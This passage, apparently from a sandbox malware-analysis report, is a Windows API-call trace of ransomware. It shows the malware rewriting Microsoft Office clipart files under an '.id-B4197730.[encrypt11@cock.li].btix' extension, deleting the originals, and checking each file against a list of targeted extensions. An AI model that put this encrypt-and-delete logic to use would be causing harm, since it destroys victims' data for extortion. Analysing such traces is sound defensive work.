office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0144.493] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.493] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.493] GetLastError () returned 0x0 [0144.493] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0144.575] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0144.576] ReadFile (in: hFile=0x564, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.576] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.577] SetEndOfFile (hFile=0x508) returned 1 [0144.577] CloseHandle (hObject=0x508) returned 1 [0144.577] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.577] SetEndOfFile (hFile=0x564) returned 1 [0144.579] CloseHandle (hObject=0x564) returned 1 [0144.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0144.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.859] lstrlenW (lpString=".doc") returned 4 [0144.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.859] lstrlenW (lpString=".docx") returned 5 [0144.859] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.859] lstrlenW (lpString=".pdf") returned 4 [0144.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.859] lstrlenW (lpString=".xls") returned 4 [0144.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.859] lstrlenW (lpString=".xlsx") returned 5 [0144.859] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.860] lstrlenW (lpString=".ppt") returned 4 [0144.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString=".zip") returned 4 [0144.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.860] lstrlenW (lpString=".rar") returned 4 [0144.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString=".bz2") returned 4 [0144.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString=".7z") returned 3 [0144.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString=".dbf") returned 4 [0144.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString=".1cd") returned 4 [0144.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString=".jpg") returned 4 [0144.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.860] lstrlenW (lpString=".doc") returned 4 [0144.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString=".docx") returned 5 [0144.860] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.860] lstrlenW (lpString=".pdf") returned 4 [0144.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.860] lstrlenW (lpString=".xls") returned 4 [0144.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.860] lstrlenW (lpString=".xlsx") returned 5 [0144.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.860] lstrlenW (lpString=".ppt") returned 4 [0144.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.861] lstrlenW (lpString=".zip") returned 4 [0144.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.861] lstrlenW (lpString=".rar") returned 4 [0144.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.861] lstrlenW (lpString=".bz2") returned 4 [0144.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.861] lstrlenW (lpString=".7z") returned 3 [0144.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.861] lstrlenW (lpString=".dbf") returned 4 [0144.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.861] lstrlenW (lpString=".1cd") returned 4 [0144.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0144.861] lstrlenW (lpString=".jpg") returned 4 [0144.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.861] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.892] lstrlenW (lpString="J0107138.WMF") returned 12 [0144.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.000] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=17200) returned 1 [0145.000] CloseHandle (hObject=0x334) returned 1 [0145.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0145.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.202] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.202] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.203] GetLastError () returned 0x0 [0145.203] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x4330, lpOverlapped=0x0) returned 1 [0145.205] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x4340, lpOverlapped=0x0) returned 1 [0145.206] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.206] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.206] SetEndOfFile (hFile=0x508) returned 1 [0145.206] CloseHandle (hObject=0x508) returned 1 [0145.206] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.206] SetEndOfFile (hFile=0x3b0) returned 1 [0145.208] CloseHandle (hObject=0x3b0) returned 1 [0145.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0145.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.209] lstrlenW (lpString=".doc") returned 4 [0145.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.209] lstrlenW (lpString=".docx") returned 5 [0145.209] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.209] lstrlenW (lpString=".pdf") returned 4 [0145.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString=".xls") returned 4 [0145.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.210] lstrlenW (lpString=".xlsx") returned 5 [0145.210] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.210] lstrlenW (lpString=".ppt") returned 4 [0145.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString=".zip") returned 4 [0145.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.210] lstrlenW (lpString=".rar") returned 4 [0145.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString=".bz2") returned 4 [0145.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString=".7z") returned 3 [0145.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString=".dbf") returned 4 [0145.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString=".1cd") returned 4 [0145.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString=".jpg") returned 4 [0145.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.210] lstrlenW (lpString=".doc") returned 4 [0145.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString=".docx") returned 5 [0145.210] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.210] lstrlenW (lpString=".pdf") returned 4 [0145.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.210] lstrlenW (lpString=".xls") returned 4 [0145.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.210] lstrlenW (lpString=".xlsx") returned 5 [0145.210] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.211] lstrlenW (lpString=".ppt") returned 4 [0145.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.211] lstrlenW (lpString=".zip") returned 4 [0145.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.211] lstrlenW (lpString=".rar") returned 4 [0145.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.211] lstrlenW (lpString=".bz2") returned 4 [0145.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.211] lstrlenW (lpString=".7z") returned 3 [0145.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.211] lstrlenW (lpString=".dbf") returned 4 [0145.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.211] lstrlenW (lpString=".1cd") returned 4 [0145.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0145.211] lstrlenW (lpString=".jpg") returned 4 [0145.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.211] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0145.211] lstrlenW (lpString="J0107154.WMF") returned 12 [0145.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.212] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=22300) returned 1 [0145.212] CloseHandle (hObject=0x3b0) returned 1 [0145.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0145.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.212] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.212] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.213] GetLastError () returned 0x0 [0145.213] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x571c, lpOverlapped=0x0) returned 1 [0145.215] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5720, lpOverlapped=0x0) returned 1 [0145.216] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.216] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.216] SetEndOfFile (hFile=0x508) returned 1 [0145.216] CloseHandle (hObject=0x508) returned 1 [0145.216] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.217] SetEndOfFile (hFile=0x3b0) returned 1 [0145.219] CloseHandle (hObject=0x3b0) returned 1 [0145.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString=".doc") returned 4 [0145.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString=".docx") returned 5 [0145.221] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.221] lstrlenW (lpString=".pdf") returned 4 [0145.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString=".xls") returned 4 [0145.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.221] lstrlenW (lpString=".xlsx") returned 5 [0145.221] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.221] lstrlenW (lpString=".ppt") returned 4 [0145.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString=".zip") returned 4 [0145.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.221] lstrlenW (lpString=".rar") returned 4 [0145.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString=".bz2") returned 4 [0145.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString=".7z") returned 3 [0145.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString=".dbf") returned 4 [0145.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString=".1cd") returned 4 [0145.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.221] lstrlenW (lpString=".jpg") returned 4 [0145.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString=".doc") returned 4 [0145.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString=".docx") returned 5 [0145.222] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.222] lstrlenW (lpString=".pdf") returned 4 [0145.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString=".xls") returned 4 [0145.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.222] lstrlenW (lpString=".xlsx") returned 5 [0145.222] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.222] lstrlenW (lpString=".ppt") returned 4 [0145.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString=".zip") returned 4 [0145.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.222] lstrlenW (lpString=".rar") returned 4 [0145.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString=".bz2") returned 4 [0145.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString=".7z") returned 3 [0145.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString=".dbf") returned 4 [0145.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString=".1cd") returned 4 [0145.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0145.222] lstrlenW (lpString=".jpg") returned 4 [0145.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.222] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0145.223] lstrlenW (lpString="J0107158.WMF") returned 12 [0145.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.223] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=24908) returned 1 [0145.223] CloseHandle (hObject=0x3b0) returned 1 [0145.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0145.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.224] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 